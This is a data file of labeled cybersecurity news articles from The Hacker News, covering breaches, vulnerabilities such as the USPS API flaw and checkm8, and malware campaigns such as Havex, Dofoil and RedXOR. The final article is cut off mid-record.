US Postal Service Left 60 Million Users Data Exposed For Over a Year,https://thehackernews.com/2018/11/usps-data-breach.html,"The United States Postal Service has patched a critical security vulnerability that exposed the data of more than 60 million customers to anyone who has an account at the USPS.com website.

The U.S.P.S. is an independent agency of the American federal government responsible for providing postal service in the United States and is one of the few government agencies explicitly authorized by the United States Constitution.

The vulnerability is tied to an authentication weakness in an application programming interface (API) for the USPS ""Informed Visibility"" program designed to help business customers track mail in real-time.

60 Million USPS Users' Data Exposed

According to the cybersecurity researcher, who has not disclosed his identity, the API was programmed to accept any number of ""wildcard"" search parameters, enabling anyone logged in to usps.com to query the system for account details belonging to any other user.

In other words, the attacker could have pulled off email addresses, usernames, user IDs, account numbers, street addresses, phone numbers, authorized users and mailing campaign data from as many as 60 million USPS customer accounts.

""APIs are turning out to be a double-edged sword when it comes to internet scale B2B connectivity and security. APIs, when insecure, break down the very premise of uber connectivity they have helped establish,"" Setu Kulkarni, VP of strategy and business development at WhiteHat Security told The Hacker News.

""To avoid similar flaws, government agencies and companies must be proactive, not just reactive, in regards to application security. Every business that handles consumer data needs to make security a consistent, top-of-mind concern with an obligation to perform the strictest security tests against vulnerable avenues: APIs, network connections, mobile apps, websites, and databases. Organizations that rely on digital platforms need to educate and empower developers to code using security best practices throughout the entire software lifecycle (SLC), with proper security training and certifications.""

USPS Ignored Responsible Disclosure For Over a Year

What's More Worrisome?

The API authentication vulnerability also allowed any USPS user to request account changes for other users, such as their email addresses, phone numbers or other key details.

The worst part of the whole incident was the USPS handling of responsible vulnerability disclosure.

The unnamed researcher reportedly discovered and responsibly reported this vulnerability last year to the Postal Service, who ignored it and left its users' data exposed until last week when a journalist contacted USPS on behalf of the researcher.

And then, the Portal Service addressed the issue within just 48 hours, journalist Brian Krebs said.

""While we're not sure whether anyone actually took advantage of the vulnerability, it did reportedly exist for a whole year, so we should assume the worst,"" Paul Bischoff, privacy advocate with Comparitech told The Hacker News.

USPS Responds by Saying:

""We currently have no information that this vulnerability was leveraged to exploit customer records.""

""Out of an abundance of caution, the Postal Service is further investigating to ensure that anyone who may have sought to access our systems inappropriately is pursued to the fullest extent of the law.""

",Data_Breaches
Zero-Day in Bugzilla Exposes Zero-Day Vulnerabilities to Hackers,https://thehackernews.com/2014/10/zero-day-in-bugzilla-exposes-zero-day_6.html,"A critical zero-day vulnerability discovered in Mozilla's popular Bugzilla bug-tracking software used by hundreds of prominent software organizations, both private and open-source, could expose sensitive information and vulnerabilities of the software projects to the hackers.

The critical flaw allows an attacker to bypass email verification part when registering a new Bugzilla account, which clearly means that an attacker can register accounts using any email addresses of their choice without the need to access the actual inbox for validation purposes.

VALIDATION BYPASS AND PRIVILEGE ESCALATION BUG
Security firm Check Point Software Technologies disclosed the flaw (CVE-2014-1572) on Monday and said that it's the first time when a privilege-escalation vulnerability has been found in the Bugzilla project since 2002. The Mozilla foundation has also confirmed that this particular bug exists in all versions of Bugzilla going back to version 2.23.3 from 2006.

An analysis carried out by the researchers at Check Point revealed that the critical ""bug enables unknown users to gain administrative privileges"" as well as ""by using these admin credentials, attackers can then view and edit private and undisclosed bug details.""

Furthermore, a hacker exploiting the flaw could intervene to destroy bug information in an effort to slow down the process of fixing vulnerabilities in a particular piece of software.
""The successful exploitation of the vulnerability allows the manipulation of any (database) field at the user creation procedure, including the 'login_name' field,"" Netanel Rubin, a researcher with Check Point, wrote in the initial report to Bugzilla. ""This breaks the e-mail validation process and allows an attacker to create accounts which match the group's regex policies, effectively becoming a privileged user.""
BUGZILLA AND ITS REACH
Bugzilla is a Web-based general-purpose bugtracker and testing tool originally developed by the Mozilla Foundation, and has been used by a variety of organizations as a bug tracking system for free and open source software projects.

Among others, the software is used by the Mozilla Foundation, Apache, the Linux kernel, OpenSSH, Eclipse, KDE, Wikimedia Foundation, Wireshark, Novell, and GNOME as well as, many Linux distributions.

Nearly 150 large software developers and open-source projects use Mozilla's Bugzilla software to track the vulnerabilities in their products. The actual figure could be even higher since many of the organisations are private.

PATCH AVAILABLE
Check Point reported the vulnerability to the Mozilla Foundation on September 29 and on Monday, Bugzilla rushed to release a patch for the issue to the public and warned the prominent organizations about its availability.

New Bugzilla versions are offered for download: 4.0.15, 4.2.11, 4.4.6, and 4.5.6. ""The overridden login name could be automatically added to groups based on the group's regular expression setting,"" the advisory says.

While Mozilla has already patched its own public Bugzilla server at bugzilla.mozilla.org, that installation was never configured to allow email-based privilege escalation.

",Vulnerability
New Variant of Havex Malware Scans for OPC Servers at SCADA Systems,https://thehackernews.com/2014/07/new-variant-of-havex-malware-scans-for.html,"At the beginning of the month, we have reported about the new surge of a Stuxnet-like malware ""Havex"", which was previously targeting organizations in the energy sector, had been used to carry out industrial espionage against a number of companies in Europe and compromised over 1,000 European and North American energy firms.

Recently, researchers at security firm FireEye have discovered a new variant of Havex remote access Trojan that has capability to actively scan OPC (Object linking and embedding for Process Control) servers, used for controlling SCADA (Supervisory Control and Data Acquisition) systems in critical infrastructure, energy, and manufacturing sectors.

OPC is a communications standard that allows interaction between Windows-based SCADA or other industrial control systems (ICS) applications and process control hardware. New Havex variant gathers system information and data stored on a compromised client or server using the OPC standard. OPC is pervasive and is one of the most common ICS protocols.
""Threat actors have leveraged Havex in attacks across the energy sector for over a year, but the full extent of industries and ICS systems affected by Havex is unknown,"" wrote the researchers from FireEye in a blog post. ""We decided to examine the OPC scanning component of Havex more closely, to better understand what happens when it's executed and the possible implications.""
Researchers set up a typical OPC server environment to conduct a real time test of the new variant's functionality. ICS or SCADA systems consist of OPC client software that interacts directly with an OPC server, which works in tandem with the PLC (Programmable Logic Controller) to control industrial hardware.

Once after getting into network, the Havex downloader calls the runDll export function and then starts scanning of OPC servers in the SCADA network.
To identify potential OPC server, the OPC Scanner module use the Windows networking (WNet) functions i.e. WNetOpenEnum and WNetEnumResources, that enumerates network resources or existing connections.
""The scanner builds a list of all servers that are globally accessible through Windows networking,"" researchers wrote. ""The list of servers is then checked to determine if any of them host an interface to the Component Object Models (COM).""
Using OPC scan, the new Havex variant could gather any details about connected devices and sends them back to the command-and-control server for the attackers to analyze. It appears that this new variant is used as a tool for future intelligence gathering.
""This is the first ""in the wild"" sample using OPC scanning. It is possible that these attackers could have used this malware as a testing ground for future utilization, however,"" researchers wrote.
So far, researchers have not seen any attempt to control the connected hardware. The attack path, the developer and the intention behind the development of the malware is still not known, but researchers are investigating and trying to gather all the information about the new variant.

",Malware
OPM Temporarily Shuts Down Background Check App to Fix Security Hole,https://thehackernews.com/2015/06/hacking-files.html,"The web gateway used to render materials for Federal Background Investigations for employees and contractors has been shut down for several weeks after a vulnerability was detected, the Office of Personnel Management announced.

The agency announced the shut down citing the discovery of a vulnerability in its Electronic Questionnaires for Investigations Processing (E-QIP) system while conducting an internal review of the agency's security.

As a result, OPM has temporarily suspended the E-QIP system for four to six weeks, and OPM Director Katherine Archuleta said the system would remain offline ""until stronger security enhancements are implemented.""

In the Wake of Massive Breach

Although the agency stressed that it had not detected any malicious activity or evidence of hackers actually exploiting the flaw.

The internal review of the agency's information technology systems was ordered by Archuleta in the wake of massive cyber attacks on the OPM's systems that exposes personnel records of more than 4 Million current and former government employees.

The stolen information includes personal data range from date of birth and social security number to records of clearance adjudications and proceedings showing reasons why an individual's security clearance may have been removed.

Federal Employee's Sex Lives Exposed

More worrisome part of the breach was that in some cases, the data included information about workers' sex lives, drug and alcohol abuse, financial difficulties, and marital troubles, among other things that could be used by malicious minds to potentially blackmail federal employees or, even worse…

…pressurize the federal officials into potentially revealing classified information.

However, the recently discovered vulnerability in E-QIP is reportedly not linked to those cyber attacks on the OPM's systems. But, it is good that the agency is finally taking proactive measures to tighten the security of its system.

",Vulnerability
Microsoft issues Security Patches for Windows 10 and Edge Browser,https://thehackernews.com/2015/08/windows-10-update-download.html,"Updated your PCs to Windows 10? Now it's time to patch your Windows 10 software.

Microsoft has issued its monthly Patch Tuesday by releasing 14 security bulletins, nearly half of it address vulnerabilities in its latest operating system, Windows 10.

Four of them are marked critical, affecting Windows, .Net Framework, Microsoft Office, Microsoft Lync, Internet Explorer, Microsoft Silverlight and Edge Browser.

Yes, the critical update includes even Edge browser – Microsoft's newest and supposedly super-secure web browser.

Windows users are advised to patch their system as soon as possible because the security flaws can be remotely exploited to execute malicious code on vulnerable systems, allowing hackers to install malware and take full control of systems.

Most Critical Security Updates:

MS15-079 – The critical update fixes a total of 10 privately disclosed flaws in Internet Explorer. Most of these flaws allow a hacker to execute malicious code on victim's machine by exploiting a series of memory corruption flaw in the browser.
MS15-080 – The update fixes security flaws in Microsoft Lync, Silverlight, .NET Framework, Office, and Graphics Component for Microsoft Windows, which could allow hackers to run malicious code with full administrative rights by fooling a user into opening an untrusted web page that contains embedded TrueType or OpenType fonts. The update is marked critical for Windows Vista through Windows 10 and all supported versions of Windows Server.
MS15-081 – The update fixes a total of eight vulnerabilities in Office 2007-2016, including Office for Mac. The flaws could allow hackers to execute remotely malicious code with full admin privileges if a malicious file was opened by a victim.
MS15-091 – It is a cumulative security update for Windows 10's newest browser, Microsoft Edge. It includes fixes for four critical flaws that could allow an attacker to execute remotely malicious code on an affected system if a user visits a specially-crafted webpage.


Security Bulletins Rated as Important:


MS15-084 – The update patches information disclosure vulnerabilities in XML Core Services.
MS15-085 – The update patches an elevation of privilege vulnerability in Mount Manager that allows hackers to gain administrator-level access if they plug in an evil USB device.
MS15-086 – The update patches an elevation of privilege vulnerability in System Center Operations Manager.
MS15-087 – The update patches an elevation of privilege vulnerability in UDDI Services in Windows Server 2008 and Server Core Installation.
MS15-089 – The update patches an information disclosure flaw in WebDAV for Windows Vista through Windows 8.1 and Windows Server 2008 and Server 2012.
MS15-090 – The update patches elevation of privilege vulnerabilities in Windows that could allow a miscreant to gain admin-level access.
MS15-092 – The update patches elevation of privilege vulnerabilities in .NET Framework for Windows Vista through Windows 10 and Server Core Installation, allowing hackers to gain administrator-level access.


All the updates are necessary, and we advise Windows users and administrators to install the new updates as soon as possible.

",Vulnerability
Linux Worm targets Internet-enabled Home appliances to Mine Cryptocurrencies,https://thehackernews.com/2014/03/linux-worm-targets-internet-enabled.html,"Could a perfectly innocent looking device like router, TV set-top box or security cameras can mine Bitcoins? YES! Hackers will not going to spare the Smart Internet-enabled devices.

A Linux worm named Linux.Darlloz, earlier used to target Internet of Things (IoT) devices, i.e. Home Routers, Set-top boxes, Security Cameras, printers and Industrial control systems; now have been upgraded to mine Crypto Currencies like Bitcoin.

Security Researcher at Antivirus firm Symantec spotted the Darlloz Linux worm back in November and they have spotted the latest variant of the worm in mid-January this year.

Linux.Darlloz worm exploits a PHP vulnerability (CVE-2012-1823) to propagate and is capable to infect devices those run Linux on Intel's x86 chip architecture and other embedded device architectures such as PPC, MIPS and MIPSEL.

The latest variant of Linux.Darlloz equipped with an open source crypto currency mining tool called 'cpuminer', could be used to mine Mincoins, Dogecoins or Bitcoins.

Symantec Researchers scanned the entire address space of the Internet and found 31,716 devices infected with Darlloz. ""By the end of February 2014, the attacker mined 42,438 Dogecoins (approximately US$46 at the time of writing) and 282 Mincoins (approximately US$150 at the time of writing). These amounts are relatively low for the average cybercrime activity so, we expect the attacker to continue to evolve their threat for increased monetization."" Kaoru Hayashi, senior development manager and threat analyst with Symantec in Japan.

Major infected countries are China, the U.S., South Korea, Taiwan and India.
Crypto Currency typically requires more memory and a powerful CPUs, so the malware could be updated to target other IoT devices in the future, such as home automation devices and wearable technology.

A Few weeks back, Cisco has announced a global and industry-wide initiative to bring the Security community and Researchers together to contribute in securing the Internet of Things (IoT) and launched a contest called the ""Internet of Things Grand Security Challenge"", offering prizes of up to $300,000 for winners.

Users are advised to update firmware and apply security patches for all software installed on computers or Internet-enabled devices. Make sure, you are not using default username or password for all devices and block port 23 or 80 from outside if not required.

",Malware
Man-in-the-Middle Remote Attack on Diebold Touch-screen Voting Machine,https://thehackernews.com/2011/09/man-in-middle-remote-attack-on-diebold.html,"Man-in-the-Middle Remote Attack on Diebold Touch-screen Voting Machine
The Vulnerability Assessment Team (VAT) at the U.S. Dept. of Energy's Argonne National Laboratory in Illinois has managed to hack a Diebold Accuvote touch-screen voting machine. Voting machines used by as many as a quarter of American voters heading to the polls in 2012 can be hacked with just $10.50 in parts and an 8th grade science education, according to computer science.

""This is a national security issue,"" VAT team leader Roger Johnston told me, echoing what I've been reporting other computer scientists and security experts telling me for years. ""It should really be handled by the Department of Homeland Security."" ""The level of sophistication it took to develop the circuit board"" used in the attack ""was that of basically an 8th grade science shop,"" says Argonne's John Warner. ""Anybody with an electronics workbench could put this together.""

The Argonne team's demonstration of the attack on a Diebold Accuvote machine is seen in a short new video shared exclusively with the Brad Blog. The team successfully demonstrated a similar attack on a touch-screen system made by Sequoia Voting Systems in 2009.
Video Demonstration:
""The cost of the attack that you're going to see was $10.50 in retail quantities,"" explains Warner in the video. ""If you want to use the RF [radio frequency] remote control to stop and start the attacks, that's another $15. So the total cost would be $26.""

",Vulnerability
DDoS Botnet Leverages Thousands of Insecure SOHO Routers,https://thehackernews.com/2015/05/ddos-botnet-router-hacking.html,"Small office and home office (SOHO) routers are an increasingly common target for cybercriminals, not because of any vulnerability, but because most routers are loosely managed and often deployed with default administrator credentials.

A new report suggests that hackers are using large botnet of tens of thousands of insecure home and office-based routers to launch Distributed Denial-of-Service (DDoS) attacks.

Security researchers from DDoS protection firm Incapsula uncovered a router-based botnet, still largely active while investigating a series of DDoS attacks against its customers that have been underway since at least last December, 2014.

Over the past four months, researchers have recorded malicious traffic targeting 60 of its clients came from some 40,269 IP addresses belonging to 1,600 ISPs around the world.

Almost all of the infected routers that were part of the botnet appear to be ARM-based models from a California-based networking company Ubiquiti Networks, sold across the world.

This makes researchers believed that the cyber criminals were exploiting a firmware vulnerability in the routers.

What's revealed in the close inspection?

However, this assumption was proved wrong when inspected deeply, revealing that…
All of the compromised routers could be remotely accessible on the default ports (via HTTP and SSH)
Almost all of those accounts continued to make use of vendor-provided login credentials

This basically opens the door for an attacker to man-in-the-middle (MitM) attacks, eavesdrop on all communication, cookie hijack, and allows hackers to gain access to other local network devices such as CCTV cameras.

Router makers design their devices in such a way that it can be easily connected, and therefore they give each user the same administrator credential, without giving any warning to change the default credentials. Moreover, instead of allowing users to turn on remote administration, the manufacturers make it on by default.
""Given how easy it is to hijack these devices, we expect to see them being exploited by additional perpetrators,"" researchers wrote. ""Even as we conducted our research, the Incapsula security team documented numerous new malware types being added—each compounding the threat posed by the existence of these botnet devices.""
A variety of DDoS malware involvement:

The security firm also discovered a variety of DDoS malware programs, including MrBlack, Dofloo, and Mayday, installed on the insecure devices in order to attempt other malicious tasks such as:

Redirect victims to malicious websites
Intercept victims' online banking sessions
Inject rogue and malicious advertisements into the victim's Web traffic
Steal login credentials for various online accounts
Perform other illegal activities


The question remains — Who is behind this botnet?

Researchers found some indirect evidence correlating the router-based botnet to a notorious hackers group called Lizard Squad, a group that has used compromised routers to launch DDoS attacks against Sony's PlayStation and Microsoft's Xbox networks.

Back in January, Lizard Squad set up a DDoS-for-hire service called Lizard Stresser that was using hacked home routers. However, Incapsula believes that it's not Lizard Stresser because it is powered by different malware programs.

The botnet comprises devices in 109 countries, with Thailand (64 percent), Brazil, and the United States being the top three most-affected nations. Also, the firm identified 60 command and control servers used by criminals to control the botnet, the majority of them were located in China and the U.S.

The bottom line:

Users should also keep in mind the safety of their devices by making sure that they:

Disable all remote access to the devices unless it's specifically needed
Change the default login credentials for their routers to prevent unauthorized access
Router firmware is up-to-date


Compromised routers are not at all new. Some manufacturers, including Linksys, Asus, D-Link, Micronet, Tenda, and TP-Link, have been known to be vulnerable. Incapsula has informed specific routers manufacturers and the relevant ISPs about the insecurity of the routers they market.

",Vulnerability
"Hacker Releases 'Unpatchable' Jailbreak For All iOS Devices, iPhone 4s to iPhone X",https://thehackernews.com/2019/09/bootrom-jailbreak-ios-exploit.html,"An iOS hacker and cybersecurity researcher today publicly released what he claimed to be a ""permanent unpatchable bootrom exploit,"" in other words, an epic jailbreak that works on all iOS devices ranging from iPhone 4s (A5 chip) to iPhone 8 and iPhone X (A11 chip).

Dubbed Checkm8, the exploit leverages unpatchable security weaknesses in Apple's Bootrom (SecureROM), the first significant code that runs on an iPhone while booting, which, if exploited, provides greater system-level access.

""EPIC JAILBREAK: Introducing checkm8 (read ""checkmate""), a permanent unpatchable bootrom exploit for hundreds of millions of iOS devices,"" said axi0mX while announcing the publicly release of the exploit on Twitter.

The new exploit came exactly a month after Apple released an emergency patch for another critical jailbreak vulnerability that works on Apple devices including the iPhone XS, XS Max, and XR and the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier.

Since the bootrom exploits are hardware-level issues and can not be patched without a hardware revision, a simple software update can't address the newly released bootrom exploit.

It should be noted that the Checkm8 exploit itself is not a full jailbreak with Cydia, instead, is just an exploit which researchers and jailbreak community can use to develop a fully working jailbreak tool.


Features the Checkm8 exploit allows include as mentioned below:

Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit.
Pwned DFU Mode with steaks4uce exploit for S5L8720 devices.
Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices.
Pwned DFU Mode with SHAtter exploit for S5L8930 devices.
Dump SecureROM on S5L8920/S5L8922/S5L8930 devices.
Dump NOR on S5L8920 devices.
Flash NOR on S5L8920 devices.
Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key.

""This is possibly the biggest news in the iOS jailbreak community in years. I am releasing my exploit for free for the benefit of iOS jailbreak and security research community,"" says axi0mX, who released the exploit on GitHub.



""Researchers and developers can use it to dump SecureROM, decrypt keybags with AES engine, and demote the device to enable JTAG. You still need additional hardware and software to use JTAG.""

axi0mX says he discovered the underlying bootrom vulnerability while analyzing a security patch Apple released in 2018 to address a previously discovered critical use-after-free vulnerability in iBoot USB code.

axi0mX also notes that his exploit can not be performed remotely. Instead, it can only be triggered over USB and requires physical access.

The jailbreak only works on iPhones running Apple's A5 and A11 chipsets and does not work on the latest two chipsets, i.e., A12 and A13.

",Vulnerability
Microsoft Issues Patches for In-the-Wild 0-day and 55 Others Windows Bugs,https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html,"Microsoft on Tuesday issued fixes for 56 flaws, including a critical vulnerability that's known to be actively exploited in the wild.
In all, 11 are listed as Critical, 43 are listed as Important, and two are listed as Moderate in severity — six of which are previously disclosed vulnerabilities.
The updates cover .NET Framework, Azure IoT, Microsoft Dynamics, Microsoft Edge for Android, Microsoft Exchange Server, Microsoft Office, Microsoft Windows Codecs Library, Skype for Business, Visual Studio, Windows Defender, and other core components such as Kernel, TCP/IP, Print Spooler, and Remote Procedure Call (RPC).
A Windows Win32k Privilege Escalation Vulnerability
The most critical of the flaws is a Windows Win32k privilege escalation vulnerability (CVE-2021-1732, CVSS score 7.8) that allows attackers with access to a target system to run malicious code with elevated permissions. Microsoft credited JinQuan, MaDongZe, TuXiaoYi, and LiHao of DBAPPSecurity for discovering and reporting the vulnerability.
In a separate technical write-up, the researchers said a zero-day exploit leveraging the flaw was detected in a ""very limited number of attacks"" against victims located in China by a threat actor named Bitter APT. The attacks were discovered in December 2020.
""This zero-day is a new vulnerability which caused by win32k callback, it could be used to escape the sandbox of Microsoft [Internet Explorer] browser or Adobe Reader on the latest Windows 10 version,"" DBAPPSecurity researchers said. ""The vulnerability is high quality and the exploit is sophisticated.""
It's worth noting that Adobe, as part of its February patch, addressed a critical buffer overflow flaw in Adobe Acrobat and Reader for Windows and macOS (CVE-2021-21017) that it said could lead to arbitrary code execution in the context of the current user.
The company also warned of active exploitation attempts against the bug in the wild in limited attacks targeting Adobe Reader users on Windows, mirroring aforementioned findings from DBAPPSecurity.
While neither Microsoft nor Adobe has provided additional details, the concurrent patching of the two flaws raises the possibility that the vulnerabilities are being chained to carry out the in-the-wild attacks.
Netlogon Enforcement Mode Goes Into Effect
Microsoft's Patch Tuesday update also resolves a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-24078), .NET Core, and Visual Studio (CVE-2021-26701), Microsoft Windows Codecs Library (CVE-2021-24081), and Fax Service (CVE-2021-1722 and CVE-2021-24077).
The RCE in Windows DNS server component is rated 9.8 for severity, making it a critical vulnerability that, if left unpatched, could permit an unauthorized adversary to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.
Microsoft is also taking this month to push second round of fixes for the Zerologon flaw (CVE-2020-1472) that was originally resolved in August 2020, following which reports of active exploitation targeting unpatched systems emerged in September 2020.
Starting February 9, the domain controller ""enforcement mode"" will be enabled by default, thus blocking ""vulnerable [Netlogon] connections from non-compliant devices.""
In addition, the Patch Tuesday update rectifies two information disclosure bugs — one in Edge browser for Android (CVE-2021-24100) that could have revealed personally identifiable information and payment information of a user, and the other in Microsoft Teams for iOS (CVE-2021-24114) that could have exposed the Skype token value in the preview URL for images in the app.
RCE Flaws in Windows TCP/IP Stack
Lastly, the Windows maker released a set of fixes affecting its TCP/IP implementation — consisting of two RCE flaws (CVE-2021-24074 and CVE-2021-24094) and one denial of service vulnerability (CVE-2021-24086) — that it said could be exploited with a DoS attack.
""The DoS exploits for these CVEs would allow a remote attacker to cause a stop error,"" Microsoft said in an advisory. ""Customers might receive a blue screen on any Windows system that is directly exposed to the internet with minimal network traffic. Thus, we recommend customers move quickly to apply Windows security updates this month.""
The tech giant, however, noted that the complexity of the two TCP/IP RCE flaws would make it hard to develop functional exploits. But it expects attackers to create DoS exploits much more easily, turning the security weakness into an ideal candidate for exploitation in the wild.
To install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.

",Vulnerability
Alleged BlackShades Malware Co-Author pleads not Guilty,https://thehackernews.com/2014/05/alleged-blackshades-malware-co-author.html,"A Swedish man accused of being involved in the creation of the malicious software used to infect over half a million systems in more than dozens of countries, has pleaded not guilty in New York on Thursday to computer hacking charges brought against him.

Alex Yucel, 24, who is the co-author of the Blackshades Remote Access Trojan (RAT), owned and operate an organization called Blackshades, which sold the notorious software to the other people and hackers across the country for prices ranging from $40 to $50. This allowed the hackers to remotely control the victims' computers and to steal keystrokes, passwords and access to victims' private files, according to the authorities.

Blackshades malware is designed to steal victims' usernames and passwords for email and Web services, instant messaging applications, FTP clients and lots more. In worst cases, the malicious software program even allows hackers to take remote control of users' computer and webcam to take photos or videos without the knowledge of the computer owner.

Yucel a.k.a. ""marjinz,"" a.k.a. ""Victor Soltan,"" was arrested in November 2013 in Moldova, as part of an International crackdown on the malicious BlackShades RAT and during the same time the source code of the tool was also leaked on the Internet. He was extradited to the United States shortly after it. The accused developed the RAT along with the help of US citizen Michael Hogue, who has already pleaded guilty.
""Yucel ran his organization like a business—hiring and firing employees, paying salaries, and updating the malicious software in response to customers' requests. He employed several administrators to facilitate the operation of the organization, including a director of marketing, a website developer, a customer service manager, and a team of customer service representatives,"" the FBI said in a statement.
Alex Yucel faces two counts of computer hacking, one count of conspiring to commit access device fraud, one count of access device fraud and one count of aggravated identity theft. But, during Thursday's hearing in Manhattan federal court, Yucel told U.S. District Judge Kevin Castel that he pleaded not guilty to the charges brought against him that included conspiring to commit access device fraud and access to device fraud.
However, according to prosecutor Sarah Lai, their are several evidence against him, including a number of laptops, computers, tablets, e-mail accounts and BlackShades subscriber records as well, and if convicted, he faces up to 17 years in prison.

In mid-May, the law enforcement authorities in the United States and Europe announced a large-scale operation of International raids against individuals suspected of developing, selling and using the notorious BlackShades RAT.

The raids took place in more than 100 countries and the federal authorities have seized 1,900 command and control domains and arrested more than 100 people worldwide involved in the purchasing, selling or using of the Blackshades malware.

In 2012, the BlackShades RAT was also used to infect and Spy on Syrian activists, while a very serious and bloody internal war between the government and the opposition forces.

BlackShades tool was actually developed by an IT surveillance and security-based company, as a tool for parents to monitor their Children activities and for finding the cheating partners in relationship. But, as usual the cyber criminals have made it a favourite tool to carry out illicit activities.

",Malware
Adobe Issues Emergency Patches for Critical Flaws in Photoshop CC,https://thehackernews.com/2018/08/adobe-photoshop-update.html,"Adobe released an out-of-band security update earlier today to address two critical remote code execution vulnerabilities impacting Adobe Photoshop CC for Microsoft Windows and Apple macOS machines.

According to the security advisory published Wednesday by Adobe, its Photoshop CC software is vulnerable to two critical memory corruption vulnerabilities, which could allow a remote attacker to execute arbitrary code in the context of the targeted user.

The vulnerabilities, identified as CVE-2018-12810 and CVE-2018-12811, impact Adobe Photoshop CC 2018 version 19.1.5 and earlier 19.x versions, as well as Adobe Photoshop CC 2017 version 18.1.5 and earlier 18.x versions.

The critical security flaws were discovered and reported by Kushal Arvind Shah of Fortinet's FortiGuard Labs, and have now been addressed by Adobe with the release of Photoshop CC versions 19.1.6 and 18.1.6.

Also Read: Teen Arrested for Hacking into Apple's Network

It should be noted that these RCE vulnerabilities were not part of August 2018 security patch updates released by the company last week to address a total of 11 security flaws in its Flash Player, Acrobat and Reader, Experience Manager, and Creative Cloud.

However, only two of the security bugs patched in this month's update were deemed critical in severity, while none of the flaws have been exploited in the wild.

Although the newly patched RCE flaws have been assigned a ""critical"" severity rating, they have been given a priority rating of 3, which also suggests that the flaws have not been targeted by malicious actors in the wild.

More details about the critical RCE vulnerabilities are not available at the moment.

However, users and administrators using Adobe Photoshop CC software are strongly recommended to download and install the latest security patches as soon as possible.


",Vulnerability
Chinese Hackers spied on European Diplomats during recent G20 meetings,https://thehackernews.com/2013/12/chinese-hackers-spied-on-european.html,"Security firm FireEye has released a new report detailing cyber espionage attacks on European Ministries of Foreign Affairs (MFA) during recent G20 meetings by Chinese Hackers.
According to FireEye's researcher Nart Villeneuve, hackers infiltrated the computer networks of five European foreign ministries by sending emails containing malware files to staff and gained access to their systems to steal credentials and high-value information.
""We believe that the Ke3chang attackers are operating out of China and have been active since at least 2010,""
The cyber espionage campaign named as ""Operation Ke3chang"" and if the victim will download & open the malware file which disguised itself as files detailing a possible intervention in Syria (US_military_options_in_Syria.pdf.zip), it gets installed on the victim's computer with a backdoor.

""They have also leveraged a Java zero-day vulnerability (CVE-2012-4681), as well as older, reliable exploits for Microsoft Word (CVE-2010-3333) and Adobe PDF Reader (CVE-2010-2883)."" report said.

Once a compromised system connects to the CnC server, the Ke3chang attackers follow a predetermined script to gather information about the local computer and the network to which it is connected.

There were almost 23 Command and Control servers used in the Ke3chang campaign, FireEye ""gained visibility into one of 23 known command-and-control servers operated by the Ke3chang actor for about a week. During this time, we discovered 21 compromised machines connecting to the CnC server.""

FireEye said:
""Large-scale cyber espionage campaigns have demonstrated that government agencies around the world, including embassies, are vulnerable to targeted cyber attacks.""
Security firm FireEye had been following the hackers behind the Syria-related attack for several years. The complete FireEye report is available on their website, you can read it for detailed information.

",Cyber_Attack
"Trojanized BitTorrent Software Update Hijacked 400,000 PCs Last Week",https://thehackernews.com/2018/03/windows-malware-hacking.html,"A massive malware outbreak that last week infected nearly half a million computers with cryptocurrency mining malware in just a few hours was caused by a backdoored version of popular BitTorrent client called MediaGet.

Dubbed Dofoil (also known as Smoke Loader), the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mine Electroneum digital coins for attackers using victims' CPU cycles.

Dofoil campaign that hit PCs in Russia, Turkey, and Ukraine on 6th March was discovered by Microsoft Windows Defender research department and blocked the attack before it could have done any severe damages.

At the time when Windows Defender researchers detected this attack, they did not mention how the malware was delivered to such a massive audience in just 12 hours.

However, after investigation Microsoft today revealed that the attackers targeted the update mechanism of MediaGet BitTorrent software to push its trojanized version (mediaget.exe) to users' computers.
""A signed mediaget.exe downloads an update.exe program and runs it on the machine to install a new mediaget.exe. The new mediaget.exe program has the same functionality as the original but with additional backdoor capability,"" the researchers explain in a blog post published today.
Researchers believe MediaGet that signed update.exe is likely to be a victim of the supply chain attack, similar to CCleaner hack that infected over 2.3 million users with the backdoored version of the software in September 2017.
Also, in this case, the attackers signed the poisoned update.exe with a different certificate and successfully passed the validation required by the legitimate MediaGet.
""The dropped update.exe is a packaged InnoSetup SFX which has an embedded trojanized mediaget.exe, update.exe. When run, it drops a trojanized unsigned version of mediaget.exe.""
Once updated, the malicious BitTorrent software with additional backdoor functionality randomly connects to one (out of four) of its command-and-control (C&C) servers hosted on decentralized Namecoin network infrastructure and listens for new commands.

It then immediately downloads CoinMiner component from its C&C server, and start using victims' computers mine cryptocurrencies for the attackers.

Using C&C servers, attackers can also command infected systems to download and install additional malware from a remote URL.

The researchers found that the trojanized BitTorrent client, detected by Windows Defender AV as Trojan:Win32/Modimer.A, has 98% similarity to the original MediaGet binary.

Microsoft says behavior monitoring and AI-based machine learning techniques used by its Windows Defender Antivirus software have played an important role to detect and block this massive malware campaign.

",Cyber_Attack
Researchers Unveil New Linux Malware Linked to Chinese Hackers,https://thehackernews.com/2021/03/researchers-unveil-new-linux-malware.html,"Cybersecurity researchers on Wednesday shed light on a new sophisticated backdoor targeting Linux endpoints and servers that's believed to be the work of Chinese nation-state actors.
Dubbed ""RedXOR"" by Intezer, the backdoor masquerades as a polkit daemon, with similarities found between the malware and those previously associated with the Winnti Umbrella (or Axiom) threat group such as PWNLNX, XOR.DDOS and Groundhog.
RedXOR's name comes from the fact that it encodes its network data with a scheme based on XOR, and that it's compiled with a legacy GCC compiler on an old release of Red Hat Enterprise Linux, suggesting that the malware is deployed in targeted attacks against legacy Linux systems.
Intezer said two samples of the malware were uploaded from Indonesia and Taiwan around Feb. 23-24, both countries that are known to be singled out by China-based threat groups.
Aside from the overlaps in terms of the overall flow and functionalities and the use of XOR encoding between RedXOR and PWNLNX, the backdoor takes the form of an unstripped 64-bit ELF file (""po1kitd-update-k""), complete with a typosquatted name (""po1kitd"" vs. ""polkitd""), which, upon execution, proceeds to create a hidden directory to store files related to the malware, before installing itself on the machine.
Polkit (née PolicyKit) is a toolkit for defining and handling authorizations, and is used for allowing unprivileged processes to communicate with privileged processes.
